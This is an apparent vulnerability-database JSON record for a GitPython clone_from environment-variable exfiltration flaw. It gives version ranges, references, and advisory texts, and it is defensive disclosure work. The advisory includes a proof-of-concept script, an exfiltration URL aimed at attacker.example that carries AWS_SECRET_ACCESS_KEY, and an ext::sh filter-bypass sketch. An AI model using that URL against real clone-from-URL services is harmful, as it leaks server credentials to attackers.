{"id":"CVE-2026-67322","aliases":["CLSA-2026-1787718591","DEBIAN-CVE-2026-67322","EUVD-2026-51855","GHSA-2f96-g7mh-g2hx","GHSA-3f7w-8rr8-f37f","GHSA-3rp5-jjmw-4wv2","GHSA-956x-8gvw-wg5v","GHSA-9rj7-rf2p-w77r","GHSA-m4f3-g4cq-hqrx","GHSA-rwj8-pgh3-r573","OESA-2026-3249","OESA-2026-3250","OESA-2026-3251","PYSEC-2026-3842","RHSA-2026:44416","RHSA-2026:45785","RHSA-2026:45940","RHSA-2026:59135","RHSA-2026:59136","RHSA-2026:71113","RHSA-2026:71114","ROOT-APP-PYPI-CVE-2026-67322","ROOT-APP-PYPI-GHSA-m4f3-g4cq-hqrx","SUSE-SU-2026:4072-1","UBUNTU-CVE-2026-67322","openSUSE-SU-2026:11466-1","openSUSE-SU-2026:21874-1"],"status":"published","title":"GitPython before 3.1.52 Environment Variable Exfiltration via clone_from","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00328,"percentile":0.26075,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-201"],"published":"2026-07-21T22:06:09Z","modified":"2026-10-31T14:00:08Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.52"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.61-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.47+aikido.8","3.1.47+aikido.9","3.1.46+aikido.12","3.1.46+aikido.11","3.1.46+aikido.13"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post10+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post2+tuxcare","3.1.31.post3+tuxcare","3.1.31.post4+tuxcare","3.1.31.post5+tuxcare","3.1.31.post6+tuxcare","3.1.31.post7+tuxcare","3.1.31.post8+tuxcare","3.1.31.post9+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1","3.1.50-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52-1.oe2403sp4"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52-1.oe2403sp1"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52-1.oe2403sp3"}]}],"bundled":5},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.52"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"Red 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isory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84709","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84709","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84709","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84711","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84711","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84711","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84712","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84712","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84712","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84714","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84714","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84714","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84716","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84716","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84716","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84717","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84717","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84717","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84718","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84718","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84718","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84719","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84719","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84719","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84720","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84720","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84720","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84724","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84724","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84724","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-87817","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-87817","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87817","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-87819","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2530742","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-87819","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87819","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:71114","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510722","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2527121","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71114.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69152","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69152","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69152","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84678","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84678","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84678","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-67322","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1279905","tags":["report"]},{"url":"https://bugzilla.suse.com/1279906","tags":["report"]},{"url":"https://bugzilla.suse.com/1279907","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87819","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-67322","title":"GitPython before 3.1.52 Environment Variable Exfiltration via clone_from","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"published","published":"2026-08-01T12:22:17.009Z","modified":"2026-08-14T16:50:51.427Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-51855","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"published","published":"2026-08-01T12:22:17Z","modified":"2026-08-14T16:50:51Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:54.232317Z"}],"ghsa":[{"id":"GHSA-m4f3-g4cq-hqrx","title":"Duplicate Advisory: GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rwj8-pgh3-r573. This link is maintained to preserve external references.\n\n## Original Description\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"withdrawn","published":"2026-08-01T15:30:28Z","modified":"2026-09-08T15:34:15Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:41:13.477974Z"},{"id":"GHSA-rwj8-pgh3-r573","title":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -\u003e PathLike:\n    \"\"\"Remove any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          # \u003c-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n    return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          # \u003c-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              # noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"  input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n    print(\"  -\u003e secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n    def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n        super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n    Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n    # The clone fails (attacker.example does not resolve); we only need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  -\u003e secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","status":"published","published":"2026-07-21T22:06:09Z","modified":"2026-09-24T14:40:15Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-201"],"updated_at":"2026-11-02T14:41:21.616682Z"}],"nvd":[{"id":"CVE-2026-67322","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the 